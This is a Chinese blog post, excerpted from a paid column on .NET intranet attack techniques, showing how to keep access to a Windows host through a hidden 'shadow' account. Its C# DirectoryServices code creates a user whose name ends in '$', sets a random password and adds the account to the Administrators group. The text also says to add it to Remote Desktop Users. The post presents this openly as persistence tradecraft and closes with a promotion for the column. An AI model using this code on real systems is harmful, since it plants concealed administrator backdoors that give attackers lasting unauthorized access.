.NET 通过系统影子账户实现权限维持

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧。

02基本介绍

03编码实现

在 Windows 操作系统中,影子用户通常是指那些不易被普通用户或系统管理员察觉的隐藏用户账户,创建影子用户常见的做法是在用户名后面添加 符号,例如,admin。通过这种方式创建的用户不会显示在 Windows 登录界面或命令行中,因此常用于维持目标权限阶段。下面,我们将详细介绍如何通过影子账户实现权限维持。

3.1 创建账户

在.NET中,我们可以使用System.DirectoryServices命名空间可以方便地管理用户和组。首先通过创建一个DirectoryEntry对象访问本地计算机的目录服务,具体实现代码如下所示。

复制代码
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");

协议中的 <主机名>:表示目标计算机的名称,可以是本地计算机或远程计算机。<对象类型>:表示目录对象的类型,如 computer、user、group 等。<对象名称>:表示目录对象的名称,如用户名或组名。比如访问本地test用户,在.NET中可以使用如下代码

复制代码
DirectoryEntry localUser = new DirectoryEntry("WinNT://" + Environment.MachineName + "/User/username");

接着,使用DirectoryEntry 实例化之后对象Children.Add方法添加一个新的系统用户对象,具体代码如下所示。

复制代码
string username = user + "$";
string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
Random randrom = new Random((int)DateTime.Now.Ticks);
string password = "";
for (int i = 0; i < 10; i++)
{
      password += chars[randrom.Next(chars.Length)].ToString();
}
DirectoryEntry NewUser = AD.Children.Add(username, "user");
NewUser.Invoke("SetPassword", new object[]
{
    password
});

3.2 添加到管理员组

随后,我们需要将新创建的系统用户分别添加到Administrators组和Remote Desktop Users组,这样用户就具备了超级管理员和远程登录的权限。

复制代码
DirectoryEntry grp = AD.Children.Find("Administrators", "group");
bool flag2 = grp != null;
if (flag2)
{
    grp.Invoke("Add", new object[]
    {
        NewUser.Path.ToString()
    });
}

利用系统影子账户是一种常见且有效的方法。通过使用 DirectoryEntry 类和 WinNT 协议接口,在本地计算机上创建新用户并将其添加到系统的管理员组,方便红队持续维持目标权限,想要了解更多内网权限维持的文章,可以移步订阅小报童《.NET 内网实战攻防》电子报刊。

04**.NET 电子报刊**

电子报刊【.NET内网安全攻防】专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

复制代码
1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理
相关推荐
Yxh181377845543 分钟前
抖去推--短视频矩阵系统源码开发
人工智能·python·矩阵
大咖分享课23 分钟前
容器安全最佳实践:云原生环境下的零信任架构实施
安全·云原生·架构
淡水猫.1 小时前
ApacheSuperset CVE-2023-27524
安全·web安全
恰薯条的屑海鸥2 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
网络·学习·安全·web安全·渗透测试·csrf·网络安全学习
Bruce_Liuxiaowei2 小时前
Web安全深度解析:源码泄漏与未授权访问漏洞全指南
安全·web安全
代码搬运媛3 小时前
React 中 HTML 插入的全场景实践与安全指南
安全·react.js·html
津津有味道4 小时前
VB.net复制Ntag213卡写入UID
.net·nfc·ntag213·写uid
lv_fu4 小时前
调用.net DLL让CANoe自动识别串口号
.net·dll·capl·canoe·vid pid·自动串口
步、步、为营4 小时前
.NET 事件模式举例介绍
java·开发语言·.net
追逐时光者4 小时前
免费且全面的C#/.NET/.NET Core面试宝典,阅读量突破40万+了!
后端·.net